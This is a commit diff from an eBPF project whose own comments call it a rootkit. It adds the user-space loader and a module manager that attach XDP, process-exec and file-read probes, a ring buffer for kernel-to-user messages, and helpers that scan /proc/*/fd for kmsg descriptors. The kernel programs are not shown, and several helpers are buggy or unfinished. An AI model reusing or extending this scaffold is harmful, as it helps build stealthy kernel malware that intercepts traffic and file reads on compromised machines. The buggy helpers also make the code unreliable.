||||
|
||||
module_config_attr_t module_config_attr = {
|
||||
.skel = NULL,
|
||||
.xdp_module = {
|
||||
.ifindex = -1,
|
||||
.flags = -1
|
||||
},
|
||||
.sched_module = {},
|
||||
.fs_module = {}
|
||||
};
|
||||
|
||||
|
||||
int setup_all_modules(){
|
||||
//Alias
|
||||
module_config_t config = module_config;
|
||||
module_config_attr_t attr = module_config_attr;
|
||||
int ret;
|
||||
|
||||
//XDP
|
||||
if(config.xdp_module.all == ON){
|
||||
ret = attach_xdp_all(attr.skel, attr.xdp_module.ifindex, attr.xdp_module.flags);
|
||||
}else{
|
||||
if(config.xdp_module.xdp_receive == ON) ret = attach_xdp_receive(attr.skel, attr.xdp_module.ifindex, attr.xdp_module.flags);
|
||||
}
|
||||
if(ret!=0) return -1;
|
||||
|
||||
//SCHED
|
||||
if(config.sched_module.all == ON){
|
||||
ret = attach_sched_all(attr.skel);
|
||||
}else{
|
||||
if(config.sched_module.handle_sched_process_exec == ON) ret = attach_handle_sched_process_exec(attr.skel);
|
||||
}
|
||||
if(ret!=0) return -1;
|
||||
|
||||
//FS (File system)
|
||||
if(config.fs_module.all == ON){
|
||||
ret = attach_fs_all(attr.skel);
|
||||
}else{
|
||||
if(config.fs_module.kprobe_ksys_read == ON) ret = attach_kprobe_ksys_read(attr.skel);
|
||||
if(config.fs_module.kretprobe_vfs_read == ON) ret = attach_kretprobe_vfs_read(attr.skel);
|
||||
}
|
||||
if(ret!=0) return -1;
|
||||
|
||||
|
||||
return 0;
|
||||
}
|
||||
64
src/user/include/modules/module_manager.h
Normal file
64
src/user/include/modules/module_manager.h
Normal file
@@ -0,0 +1,64 @@
|
||||
#ifndef __MOD_MANAGER_H
|
||||
#define __MOD_MANAGER_H
|
||||
|
||||
#include <stdint.h>
|
||||
#include <unistd.h>
|
||||
#include <linux/types.h>
|
||||
|
||||
|
||||
#define ON 1
|
||||
#define OFF 0
|
||||
|
||||
//Centralized configutation struct.
|
||||
//Used by the module manager to decide which modules to load
|
||||
//If <all> is set in a module, the other configurations are ignored
|
||||
typedef struct module_config_t{
|
||||
struct xdp_module {
|
||||
char all;
|
||||
char xdp_receive;
|
||||
} xdp_module;
|
||||
|
||||
struct sched_module {
|
||||
char all;
|
||||
char handle_sched_process_exec;
|
||||
}sched_module;
|
||||
|
||||
struct fs_module {
|
||||
char all;
|
||||
char kprobe_ksys_read;
|
||||
char kretprobe_vfs_read;
|
||||
}fs_module;
|
||||
|
||||
} module_config_t;
|
||||
|
||||
//Configuration struct. Used by the module manager to
|
||||
//correctly attach the needed modules, providing necessary params
|
||||
typedef struct module_config_attr_t{
|
||||
struct kit_bpf *skel;
|
||||
struct xdp_module_attr {
|
||||
__u32 ifindex;
|
||||
__u32 flags;
|
||||
} xdp_module;
|
||||
|
||||
struct sched_module_attr {
|
||||
void* __empty;
|
||||
}sched_module;
|
||||
|
||||
struct fs_module_attr {
|
||||
void* __empty;
|
||||
}fs_module;
|
||||
|
||||
} module_config_attr_t;
|
||||
|
||||
//An unique module configutation struct and attr
|
||||
extern module_config_t module_config;
|
||||
extern module_config_attr_t module_config_attr;
|
||||
|
||||
/**
|
||||
* @brief Installs the ebpf modules according to the module_config
|
||||
*
|
||||
* @return 0 if ok, -1 if error
|
||||
*/
|
||||
int setup_all_modules();
|
||||
|
||||
#endif
|
||||
36
src/user/include/modules/sched.h
Normal file
36
src/user/include/modules/sched.h
Normal file
@@ -0,0 +1,36 @@
|
||||
#ifndef __MOD_SCHED_H
|
||||
#define __MOD_SCHED_H
|
||||
|
||||
#include <linux/bpf.h>
|
||||
#include <bpf/bpf.h>
|
||||
#include <bpf/libbpf.h>
|
||||
#include "common.h"
|
||||
#include "kit.skel.h"
|
||||
|
||||
//Connections
|
||||
int attach_handle_sched_process_exec(struct kit_bpf *skel){
|
||||
skel->links.handle_sched_process_exec = bpf_program__attach(skel->progs.handle_sched_process_exec);
|
||||
return libbpf_get_error(skel->links.handle_sched_process_exec);
|
||||
}
|
||||
|
||||
int attach_sched_all(struct kit_bpf *skel){
|
||||
return attach_handle_sched_process_exec(skel);
|
||||
}
|
||||
|
||||
|
||||
//Disconnections
|
||||
int detach_handle_sched_process_exec(struct kit_bpf *skel){
|
||||
int err = detach_link_generic(skel->links.handle_sched_process_exec);
|
||||
if(err<0){
|
||||
fprintf(stderr, "Failed to detach sched link\n");
|
||||
return -1;
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
|
||||
int detach_sched_all(struct kit_bpf *skel){
|
||||
return detach_handle_sched_process_exec(skel);
|
||||
}
|
||||
|
||||
|
||||
#endif
|
||||
75
src/user/include/modules/xdp.h
Normal file
75
src/user/include/modules/xdp.h
Normal file
@@ -0,0 +1,75 @@
|
||||
#ifndef __MOD_XDP_H
|
||||
#define __MOD_XDP_H
|
||||
|
||||
#include <bpf/bpf.h>
|
||||
#include <bpf/libbpf.h>
|
||||
#include <linux/if_link.h>
|
||||
#include "common.h"
|
||||
#include <sys/resource.h>
|
||||
#include "kit.skel.h"
|
||||
|
||||
int attach_xdp_receive(struct kit_bpf *skel, __u32 ifindex, __u32 flags){
|
||||
//Attach BPF program to network interface
|
||||
//New way of doing it: it allows for future addition of multiple
|
||||
//XDP programs attached to same interface if needed
|
||||
//Also done this way to modularize attaching the different tracepoints
|
||||
//of the rootkit
|
||||
/** @ref Test suite by readhat ebpf devs on XDP
|
||||
* https://git.zx2c4.com/linux/plain/tools/testing/selftests/bpf/prog_tests/xdp_link.c
|
||||
*/
|
||||
struct bpf_prog_info prog_info;
|
||||
__u32 bpf_prog_info_size = sizeof(prog_info);
|
||||
__u32 xdp_prog_fd = bpf_program__fd(skel->progs.xdp_receive);
|
||||
__u32 xdp_prog_id_old = 0;
|
||||
__u32 xdp_prog_id_new;
|
||||
__u32 err;
|
||||
DECLARE_LIBBPF_OPTS(bpf_xdp_set_link_opts, opts, .old_fd = -1);
|
||||
|
||||
memset(&prog_info, 0, bpf_prog_info_size);
|
||||
err = bpf_obj_get_info_by_fd(xdp_prog_fd, &prog_info, &bpf_prog_info_size);
|
||||
if(err<0){
|
||||
fprintf(stderr, "Failed to setup xdp link\n");
|
||||
return -1;
|
||||
}
|
||||
xdp_prog_id_new = prog_info.id;
|
||||
|
||||
//Check whether there exists previously loaded XDP program
|
||||
err = bpf_get_link_xdp_id(ifindex, &xdp_prog_id_old, 0);
|
||||
if(err<0 || (xdp_prog_id_old!=0 && xdp_prog_id_old!=xdp_prog_id_new)){
|
||||
fprintf(stderr, "Xdp program found id--> old:%u != new:%u\n", xdp_prog_id_old, xdp_prog_id_new);
|
||||
fprintf(stderr,"This should not happen, since our xdp program is removed automatically between calls\nRun `ip link set dev lo xdpgeneric off` to detach whichever program is running");
|
||||
//TODO automatically force the reattach
|
||||
return -1;
|
||||
}
|
||||
|
||||
// Attach loaded xdp program
|
||||
skel->links.xdp_receive = bpf_program__attach_xdp(skel->progs.xdp_receive, ifindex);
|
||||
|
||||
err = libbpf_get_error(skel->links.xdp_receive);
|
||||
if (err<0) {
|
||||
fprintf(stderr, "Failed to attach XDP program\n");
|
||||
return -1;
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
int attach_xdp_all(struct kit_bpf *skel, __u32 ifindex, __u32 flags){
|
||||
return attach_xdp_receive(skel, ifindex, flags);
|
||||
}
|
||||
|
||||
|
||||
int detach_xdp_receive(struct kit_bpf *skel){
|
||||
int err = detach_link_generic(skel->links.xdp_receive);
|
||||
if(err<0){
|
||||
fprintf(stderr, "Failed to detach XDP program\n");
|
||||
return -1;
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
|
||||
int detach_xdp_all(struct kit_bpf *skel){
|
||||
return detach_xdp_receive(skel);
|
||||
}
|
||||
|
||||
#endif
|
||||
96
src/user/include/utils/files/path.c
Normal file
96
src/user/include/utils/files/path.c
Normal file
@@ -0,0 +1,96 @@
|
||||
#define _XOPEN_SOURCE 700
|
||||
#define _LARGEFILE64_SOURCE
|
||||
#define _FILE_OFFSET_BITS 64
|
||||
#include <stdlib.h>
|
||||
#include <unistd.h>
|
||||
#include <ftw.h>
|
||||
#include <time.h>
|
||||
#include <stdio.h>
|
||||
#include <string.h>
|
||||
#include <errno.h>
|
||||
#include "path.h"
|
||||
#include "../structures/fdlist.h"
|
||||
#include "../strings/regex.h"
|
||||
#define USE_FDS 15
|
||||
|
||||
//Global variable for the parameter fd_list, there is no other better way of doing this
|
||||
FdList* fd_param;
|
||||
|
||||
int print_entry(const char *filepath, const struct stat *info, const int typeflag, struct FTW *pathinfo){
|
||||
/* const char *const filename = filepath + pathinfo->base; */
|
||||
|
||||
//Symlinks
|
||||
if (typeflag == FTW_SL) {
|
||||
char *target;
|
||||
size_t maxlen = 1023;
|
||||
ssize_t len;
|
||||
while (1) {
|
||||
target = malloc(maxlen + 1);
|
||||
if (target == NULL)
|
||||
return ENOMEM;
|
||||
//Path too long, aborting
|
||||
len = readlink(filepath, target, maxlen);
|
||||
if (len == (ssize_t)-1) {
|
||||
const int saved_errno = errno;
|
||||
free(target);
|
||||
return saved_errno;
|
||||
}
|
||||
|
||||
if (len >= (ssize_t)maxlen) {
|
||||
free(target);
|
||||
maxlen += 1024;
|
||||
continue;
|
||||
}
|
||||
target[len] = '\0';
|
||||
break;
|
||||
}
|
||||
|
||||
//Checking if target corresponds to the
|
||||
if(regex_match_fd(filepath)==0){
|
||||
|
||||
//Add to fdlist
|
||||
printf(" %s -> %s\n", filepath, target);
|
||||
}
|
||||
free(target);
|
||||
|
||||
}/*else
|
||||
if (typeflag == FTW_SLN)
|
||||
printf(" %s (dangling symlink)\n", filepath);*/
|
||||
else
|
||||
if (typeflag == FTW_F)
|
||||
printf(" %s\n", filepath);
|
||||
/*else
|
||||
if (typeflag == FTW_D || typeflag == FTW_DP)
|
||||
printf(" %s/\n", filepath);
|
||||
else
|
||||
if (typeflag == FTW_DNR)
|
||||
printf(" %s/ (unreadable)\n", filepath);
|
||||
else
|
||||
printf(" %s (unknown)\n", filepath);*/
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
/**
|
||||
* @brief
|
||||
*
|
||||
* @param dirpath
|
||||
* @return NULL if error, FDList with elements matching kmsg fd if OK
|
||||
*/
|
||||
FdList* load_fd_kmsg(const char *const dirpath){
|
||||
int res;
|
||||
fd_param = FdList_create(100);
|
||||
|
||||
// Invalid directory path?
|
||||
if(dirpath == NULL || *dirpath == '\0'){
|
||||
return NULL;
|
||||
}
|
||||
|
||||
//Physical walk, but we follow symlinks in the subroutine
|
||||
res = nftw(dirpath, print_entry, USE_FDS, FTW_PHYS);
|
||||
if (res >= 0){
|
||||
return NULL;
|
||||
}
|
||||
|
||||
return fd_param;
|
||||
}
|
||||
9
src/user/include/utils/files/path.h
Normal file
9
src/user/include/utils/files/path.h
Normal file
@@ -0,0 +1,9 @@
|
||||
#ifndef __PATH_H
|
||||
#define __PATH_H
|
||||
|
||||
#include "../structures/fdlist.h"
|
||||
|
||||
FdList* load_fd_kmsg(const char *const dirpath);
|
||||
|
||||
|
||||
#endif
|
||||
43
src/user/include/utils/strings/regex.c
Normal file
43
src/user/include/utils/strings/regex.c
Normal file
@@ -0,0 +1,43 @@
|
||||
#include <regex.h>
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
|
||||
#include "regex.h"
|
||||
|
||||
/**
|
||||
* @brief Compares string against regular expression for file descriptor detection
|
||||
*
|
||||
* @param str
|
||||
* @return 0 if matches, 1 if not matching, -1 if error
|
||||
*/
|
||||
int regex_match_fd(const char* str){
|
||||
regex_t regex;
|
||||
int reti;
|
||||
|
||||
// Compile regular expression (/proc/*/fd/*)
|
||||
reti = regcomp(®ex, "^\\/proc\\/[[:alnum:]]\\+\\/fd\\/[^\n ]\\+$", 0);
|
||||
if (reti) {
|
||||
fprintf(stderr, "Could not compile regex\n");
|
||||
return -1;
|
||||
}
|
||||
|
||||
// Execute regular expression
|
||||
int result = 0;
|
||||
reti = regexec(®ex, str, 0, NULL, 0);
|
||||
if (!reti) {
|
||||
puts("Match");
|
||||
result = 0;
|
||||
}else if (reti == REG_NOMATCH) {
|
||||
result = 1;
|
||||
}else {
|
||||
char msgbuf[100];
|
||||
regerror(reti, ®ex, msgbuf, sizeof(msgbuf));
|
||||
fprintf(stderr, "Regex match failed: %s\n", msgbuf);
|
||||
return -1;
|
||||
}
|
||||
|
||||
//Free memory allocated to the pattern buffer by regcomp()
|
||||
regfree(®ex);
|
||||
|
||||
return result;
|
||||
}
|
||||
12
src/user/include/utils/strings/regex.h
Normal file
12
src/user/include/utils/strings/regex.h
Normal file
@@ -0,0 +1,12 @@
|
||||
#ifndef __REGEX_H
|
||||
#define __REGEX_H
|
||||
|
||||
/**
|
||||
* @brief Compares string against regular expression for file descriptor detection
|
||||
*
|
||||
* @param str
|
||||
* @return 0 if matches, 1 if not matching, -1 if error
|
||||
*/
|
||||
int regex_match_fd(const char* str);
|
||||
|
||||
#endif
|
||||
57
src/user/include/utils/structures/fdlist.c
Normal file
57
src/user/include/utils/structures/fdlist.c
Normal file
@@ -0,0 +1,57 @@
|
||||
#include <stdlib.h>
|
||||
#include <stdio.h>
|
||||
|
||||
#include "fdlist.h"
|
||||
|
||||
|
||||
/**
|
||||
* @brief Creates a new fdlist with a given size
|
||||
*
|
||||
* @param size
|
||||
* @return FdList
|
||||
*/
|
||||
FdList* FdList_create(int size){
|
||||
FdList *fd_list = (FdList*)calloc(1, sizeof(FdList));
|
||||
fd_list->max_size = size;
|
||||
fd_list->size = 0;
|
||||
fd_list->list = (int*)calloc(size, sizeof(int));
|
||||
return fd_list;
|
||||
}
|
||||
|
||||
/**
|
||||
* @brief Adds a new fd to the list
|
||||
*
|
||||
* @param fd_list
|
||||
* @param fd_new
|
||||
* @return 0 ok, -1 error
|
||||
*/
|
||||
int FdList_add(FdList *fd_list, int fd_new){
|
||||
if(fd_list->size+1 >= fd_list->max_size){
|
||||
return -1;
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
|
||||
/**
|
||||
* @brief Extends size of list
|
||||
*
|
||||
* @param fd_list
|
||||
* @param new_size
|
||||
* @return int
|
||||
*/
|
||||
int FdList_extend(FdList *fd_list, int new_size){
|
||||
fd_list->list = (int*)realloc(fd_list->list, new_size);
|
||||
return 0;
|
||||
}
|
||||
|
||||
/**
|
||||
* @brief Destroy list
|
||||
*
|
||||
* @param fd_list
|
||||
* @return int
|
||||
*/
|
||||
int FdList_destroy(FdList *fd_list){
|
||||
free(fd_list->list);
|
||||
free(fd_list);
|
||||
return 0;
|
||||
}
|
||||
20
src/user/include/utils/structures/fdlist.h
Normal file
20
src/user/include/utils/structures/fdlist.h
Normal file
@@ -0,0 +1,20 @@
|
||||
#ifndef __FDLIST_H
|
||||
#define __FDLIST_H
|
||||
|
||||
typedef struct FdList{
|
||||
int size;
|
||||
int max_size;
|
||||
int* list;
|
||||
|
||||
} FdList;
|
||||
|
||||
FdList* FdList_create(int size);
|
||||
|
||||
int FdList_add(FdList *fd_list, int fd_new);
|
||||
|
||||
int FdList_extend(FdList *fd_list, int new_size);
|
||||
|
||||
int FdList_destroy(FdList *fd_list);
|
||||
|
||||
|
||||
#endif
|
||||
@@ -8,16 +8,31 @@
|
||||
#include <net/if.h>
|
||||
#include <unistd.h>
|
||||
|
||||
#include "xdp_filter.skel.h"
|
||||
#include "xdp_filter.h"
|
||||
#include "../constants/constants.h"
|
||||
#include <bpf/bpf.h>
|
||||
|
||||
#include "kit.skel.h"
|
||||
|
||||
#include "../common/constants.h"
|
||||
#include "../common/map_common.h"
|
||||
#include "include/utils/files/path.h"
|
||||
#include "include/utils/strings/regex.h"
|
||||
#include "include/utils/structures/fdlist.h"
|
||||
#include "include/modules/module_manager.h"
|
||||
|
||||
#define ABORT_IF_ERR(err, msg)\
|
||||
if(err<0){\
|
||||
fprintf(stderr, msg);\
|
||||
goto cleanup\
|
||||
}
|
||||
|
||||
|
||||
static struct env {
|
||||
bool verbose;
|
||||
} env;
|
||||
|
||||
void print_help_dialog(const char* arg){
|
||||
printf("\nUsage: %s ./xdp_filter OPTION\n\n", arg);
|
||||
|
||||
printf("\nUsage: %s ./kit OPTION\n\n", arg);
|
||||
printf("Program OPTIONs\n");
|
||||
char* line = "-t[NETWORK INTERFACE]";
|
||||
char* desc = "Activate XDP filter";
|
||||
@@ -60,29 +75,58 @@ static void sig_handler(int sig){
|
||||
exiting = true;
|
||||
}
|
||||
|
||||
/*static int handle_event(void *ctx, void *data, size_t data_sz){
|
||||
const struct event *e = data;
|
||||
/**
|
||||
* @brief Manages an event received via the ring buffer
|
||||
* It's a message from th ebpf program
|
||||
*
|
||||
* @param ctx
|
||||
* @param data
|
||||
* @param data_sz
|
||||
* @return int
|
||||
*/
|
||||
static int handle_rb_event(void *ctx, void *data, size_t data_size){
|
||||
const struct rb_event *e = data;
|
||||
|
||||
//For time displaying
|
||||
struct tm *tm;
|
||||
char ts[32];
|
||||
time_t t;
|
||||
|
||||
time(&t);
|
||||
tm = localtime(&t);
|
||||
strftime(ts, sizeof(ts), "%H:%M:%S", tm);
|
||||
|
||||
printf("NEW: %s\n",
|
||||
e->payload);
|
||||
|
||||
if(e->event_type == INFO){
|
||||
printf("%s INFO pid:%d code:%i, msg:%s\n", ts, e->pid, e->code, e->message);
|
||||
}else if(e->event_type == DEBUG){
|
||||
|
||||
}else if(e->event_type == ERROR){
|
||||
|
||||
}else if(e->event_type == EXIT){
|
||||
|
||||
}else{
|
||||
printf("UNRECOGNIZED RB EVENT RECEIVED");
|
||||
return -1;
|
||||
}
|
||||
|
||||
return 0;
|
||||
}*/
|
||||
}
|
||||
|
||||
|
||||
int main(int argc, char**argv){
|
||||
//struct ring_buffer *rb = NULL;
|
||||
struct xdp_filter_bpf *skel;
|
||||
int err;
|
||||
struct ring_buffer *rb = NULL;
|
||||
struct kit_bpf *skel;
|
||||
__u32 err;
|
||||
|
||||
//Ready to be used
|
||||
/*for (int arg = 1; arg < argc; arg++) {
|
||||
if (load_fd_kmsg(argv[arg])) {
|
||||
fprintf(stderr, "%s.\n", strerror(errno));
|
||||
return EXIT_FAILURE;
|
||||
}
|
||||
}*/
|
||||
|
||||
unsigned int ifindex;
|
||||
__u32 ifindex;
|
||||
|
||||
/* Parse command line arguments */
|
||||
int opt;
|
||||
@@ -120,58 +164,83 @@ int main(int argc, char**argv){
|
||||
}
|
||||
}
|
||||
|
||||
// Set up libbpf errors and debug info callback
|
||||
//Set up libbpf errors and debug info callback
|
||||
libbpf_set_print(libbpf_print_fn);
|
||||
|
||||
// Bump RLIMIT_MEMLOCK to be able to create BPF maps
|
||||
bump_memlock_rlimit();
|
||||
|
||||
// Cleaner handling of Ctrl-C
|
||||
//Cleaner handling of Ctrl-C
|
||||
signal(SIGINT, sig_handler);
|
||||
signal(SIGTERM, sig_handler);
|
||||
|
||||
// Load and verify BPF application
|
||||
skel = xdp_filter_bpf__open();
|
||||
//Open and create BPF application in the kernel
|
||||
skel = kit_bpf__open();
|
||||
if (!skel) {
|
||||
fprintf(stderr, "Failed to open and load BPF skeleton\n");
|
||||
return 1;
|
||||
}
|
||||
|
||||
// Load & verify BPF programs */
|
||||
err = xdp_filter_bpf__load(skel);
|
||||
//Load & verify BPF program
|
||||
err = kit_bpf__load(skel);
|
||||
if (err) {
|
||||
fprintf(stderr, "Failed to load and verify BPF skeleton\n");
|
||||
goto cleanup;
|
||||
}
|
||||
|
||||
// Attach tracepoints
|
||||
/*err = xdp_filter_bpf__attach(skel);
|
||||
if (err) {
|
||||
fprintf(stderr, "Failed to attach BPF skeleton\n");
|
||||
//Attach XDP and sched modules using module manager
|
||||
//and setup the parameters for the installation
|
||||
//XDP
|
||||
module_config.xdp_module.all = ON;
|
||||
module_config_attr.xdp_module.flags = XDP_FLAGS_REPLACE;
|
||||
module_config_attr.xdp_module.ifindex = ifindex;
|
||||
//SCHED
|
||||
module_config.sched_module.all = ON;
|
||||
//FS
|
||||
module_config.fs_module.all = ON;
|
||||
|
||||
module_config_attr.skel = skel;
|
||||
err = setup_all_modules();
|
||||
// Set up ring buffer polling --> Main communication buffer kernel->user
|
||||
rb = ring_buffer__new(bpf_map__fd(skel->maps.rb_comm), handle_rb_event, NULL, NULL);
|
||||
if (rb==NULL) {
|
||||
err = -1;
|
||||
fprintf(stderr, "Failed to create ring buffer\n");
|
||||
goto cleanup;
|
||||
}*/
|
||||
|
||||
//Attack BPF program to network interface
|
||||
int flags = XDP_FLAGS_SKB_MODE;
|
||||
int fd = bpf_program__fd(skel->progs.xdp_receive);
|
||||
err = bpf_set_link_xdp_fd(ifindex, fd, flags);
|
||||
}
|
||||
|
||||
//Now wait for messages from ebpf program
|
||||
printf("Filter set and ready\n");
|
||||
while (!exiting) {
|
||||
/* trigger our BPF program */
|
||||
fprintf(stderr, ".");
|
||||
sleep(1);
|
||||
err = ring_buffer__poll(rb, 100 /* timeout, ms */);
|
||||
|
||||
//Checking if a signal occured
|
||||
if (err == -EINTR) {
|
||||
err = 0;
|
||||
break;
|
||||
}
|
||||
if (err < 0) {
|
||||
printf("Error polling ring buffer: %d\n", err);
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
//Received signal to stop, detach program from network interface
|
||||
fd = -1;
|
||||
err = bpf_set_link_xdp_fd(ifindex, fd, flags);
|
||||
/*err = detach_sched_all(skel);
|
||||
if(err<0){
|
||||
perror("ERR");
|
||||
goto cleanup;
|
||||
}
|
||||
detach_xdp_all(skel);
|
||||
if(err<0){
|
||||
perror("ERR");
|
||||
goto cleanup;
|
||||
}*/
|
||||
|
||||
|
||||
cleanup:
|
||||
xdp_filter_bpf__destroy(skel);
|
||||
|
||||
return err < 0 ? -err : 0;
|
||||
cleanup:
|
||||
ring_buffer__free(rb);
|
||||
//kit_bpf__destroy(skel);
|
||||
if(err!=0) return -1;
|
||||
|
||||
return 0;
|
||||
}
|
||||
@@ -1,11 +0,0 @@
|
||||
#ifndef __XDP_FILTER_H
|
||||
#define __XDP_FILTER_H
|
||||
|
||||
#define MAX_PAYLOAD_LEN 127
|
||||
|
||||
struct event {
|
||||
char payload[MAX_PAYLOAD_LEN];
|
||||
//bool exit_event;
|
||||
};
|
||||
|
||||
#endif
|
||||
126931
src/vmlinux/headervmlinux.h
Normal file
126931
src/vmlinux/headervmlinux.h
Normal file
File diff suppressed because it is too large
Load Diff
Reference in New Issue
Block a user